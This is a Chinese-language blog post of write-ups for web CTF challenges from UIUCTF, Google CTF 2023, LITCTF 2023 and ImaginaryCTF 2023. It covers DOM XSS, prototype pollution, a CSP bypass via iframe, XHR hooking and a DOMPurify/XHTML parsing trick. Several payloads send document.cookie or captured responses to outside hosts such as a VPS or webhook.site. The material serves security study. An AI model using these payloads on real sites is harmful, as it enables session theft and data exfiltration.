前言
持续更新一些国外的前端ctf,因为接触的前端偏少,这里就集中写一下wp
uiuctf peanut-xss
nutshell.js中有一段代码linkText.innerHTML = ex.innerText.slice(ex.innerText.indexOf(':')+1);
其中innerText会html解码,而innerHTML会把赋值的内容原封不动的输出到页面中,所以如果输入的是1
</span><img src onerror='fetch("https://vps/?cookie="+document.cookie)'/><span>
解码完以后就是1
</span><img src onerror='fetch("https://vps/?cookie="+document.cookie)'/><span>
再把解码的内容赋值给innerHTML,那么就会造成dom xss
修复这个漏洞的话可以把innerHTML改成innerTextlinkText.innerText = ex.innerText.slice(ex.innerText.indexOf(':')+1);
当innerText是被赋值的时候,输出到页面的时候会把html编码在输出
google ctf biohazard
https://github.com/google/google-ctf/tree/master/2023/web-biohazard
这是官方writeup,只对其中一些点进行记录
原型链污染
当时看到Object.assign联想到了原型链污染,但是我是用类似下面的方式去尝试原型链污染的,显然是失败了1
2Object.assign({}, JSON.parse('{"__proto__":{"polluted": true}}'));
console.log(Object.prototype.polluted); // undefined
但是如果是下面这种就是可以成功污染的1
2Object.assign(({})['__proto__'], JSON.parse('{"polluted": true}'));
console.log(Object.prototype.polluted); // true
污染的点 editor
1 | function loadEditorResources() { |
当uri开头不是view的时候就会加载这个loadEditorResources函数
而这个函数中safeScriptEl.setSrc(script, trustedResourceUrl(editor));
这一段会设置一个js加载进去,并且会设置好nonce,其中editor在bootstrap.js中被定义了,所以只需要原型链覆盖了这个editor就可以了
绕过csp
因为有csp策略,无法进行直接加载js,原型链污染不能直接覆盖被赋值的变量,所以利用iframe,设置csp,允许恶意的js加载,并且禁止加载bootstrap,就可以成功绕过1
<iframe src="https://biohazard-web.2023.ctfcompetition.com/views/view/5f1a24e1-2744-42e2-8127-19fccd9c3f98" csp="script-src https://attack.shhnjk.com/alert.js https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
在这里我想到如果没有nonce,他只是script-src http://abc.com,那如果这个网站存在xss,我可不可以用iframe设置csp,允许某个网站,但是并不行,他只能去限制js的执行,不能去超过原本网站的允许范围,所以用到iframe的时候一般是去禁止某些js去运行
LITCTF 2023 fetch
1 | const runHTMLFile = async (filePath) => { |
filePath是我们上传的文件,传入一个html文件,page.goto会访问这个文件,page.evaluate会在访问这个页面的基础上执行里面的代码,也就是访问flag文件
只需要将window.XMLHttpRequest给重写了,就可以得到flag
wp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>test</title>
</head>
<body>
<h1>Hello, World!</h1>
<script>
const originalXHR = window.XMLHttpRequest;
window.XMLHttpRequest = function() {
const xhr = new originalXHR();
const originalOpen = xhr.open;
xhr.open = function(method, url, async, user, password) {
return originalOpen.apply(this, arguments);
};
const originalOnReadyStateChange = xhr.onreadystatechange;
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
console.log('XHR请求的responseText:', xhr.responseText);
let callback = new originalXHR()
callback.open("POST","http://vps:port/recv",false);
callback.send(xhr.responseText);
}
if (originalOnReadyStateChange) {
originalOnReadyStateChange.apply(this, arguments);
}
};
return xhr;
};
</script>
</body>
</html>
onreadystatechange是用于监听 XMLHttpRequest 对象状态改变事件的属性。当XMLHttpRequest的状态发生了改变,就会触发绑定在onreadystatechange上的函数,当readState=4时,代表请求已完成,且响应已就绪。
这时候在其中把获取到的flag转发到自己的vps上面,当然也可以直接document.write到页面上,因为runHTMLFile会将页面的截图保存并返回。
imaginary ctf 2023 unsanitizer
unintended
1 | app.use((req, res) => { |
在这一段因为req.path是可控的,但是如果输入尖括号等特殊符号会被url编码,导致无法利用,一般这种情况下就需要想想能不能让这个回显的内容加载进script标签中,或者直接让他进入js文件中
下面的payload,就可以让他加入js文件中127.0.0.1:3000/1;var[Page]=[1];location=location.hash.slice(1)+document.cookie//..%2findex.xhtml#http://127.0.0.1:8000
将这段放到浏览器的时候,浏览器会把他当做目录为1;var[Page]=[1];location=location.hash.slice(1)+document.cookie
文件名为..%2findex.xhtml
去浏览
但是后端会去解析%2f也就是说后端会去返回直接index.xhtml
浏览器接收到以后会直接去解析index.xhtml中的内容
那么里面的main.js也会被请求为http://127.0.0.1:3000/1;location=location.hash.slice(1)+document.cookie//main.js
因为开头的那段404代码会被uri所控制,所以就变成了1
Page /1;var[Page]=[1];location=location.hash.slice(1)+document.cookie//main.js not found
最后就直接跳转到#后面的url了
intended
- 看到下面的代码,可以发现style标签下的尖括号是不会被转义的
1
2
3
4
5
6
7DOMPurify.sanitize("<div><style>a<</style></div>")
//output
//<div><style>a<</style></div>
DOMPurify.sanitize("<svg>aa></svg>")
//output
//<svg>aa></svg> - base的用法
href中输入abc,那么之后的所有访问都会基于http://target/abc/1
<base href="/abc/">
接下来看到作者的payload1
2
3
4<div>
<div id="url">https://webhook.site/65c71cbd-c78a-4467-8a5f-0a3add03e750?</div>
<style>
<![CDATA[</style><div data-x="]]></style><iframe name='Page' /><base href='/**/+location.assign(document.all.url.textContent+document.cookie)//' /><style><!--"></div><style>--></style></div>
在xhtml中<![CDATA[XXXX]]>
用于注释
利用xhtml和html的不同解析标准,在xhtml中就会变成下面这样1
2
3
4<div>
<div id="url">https://webhook.site/65c71cbd-c78a-4467-8a5f-0a3add03e750?</div>
<style>/*<![CDATA[</style><div data-x="]]*/></style>
<iframe name='Page' /><base href='/**/+location.assign(document.all.url.textContent+document.cookie)//' /><style><!--"></div><style>--></style></div>
跟unintended的思路一样,也是利用了会去加载其他js文件,且文件路径可控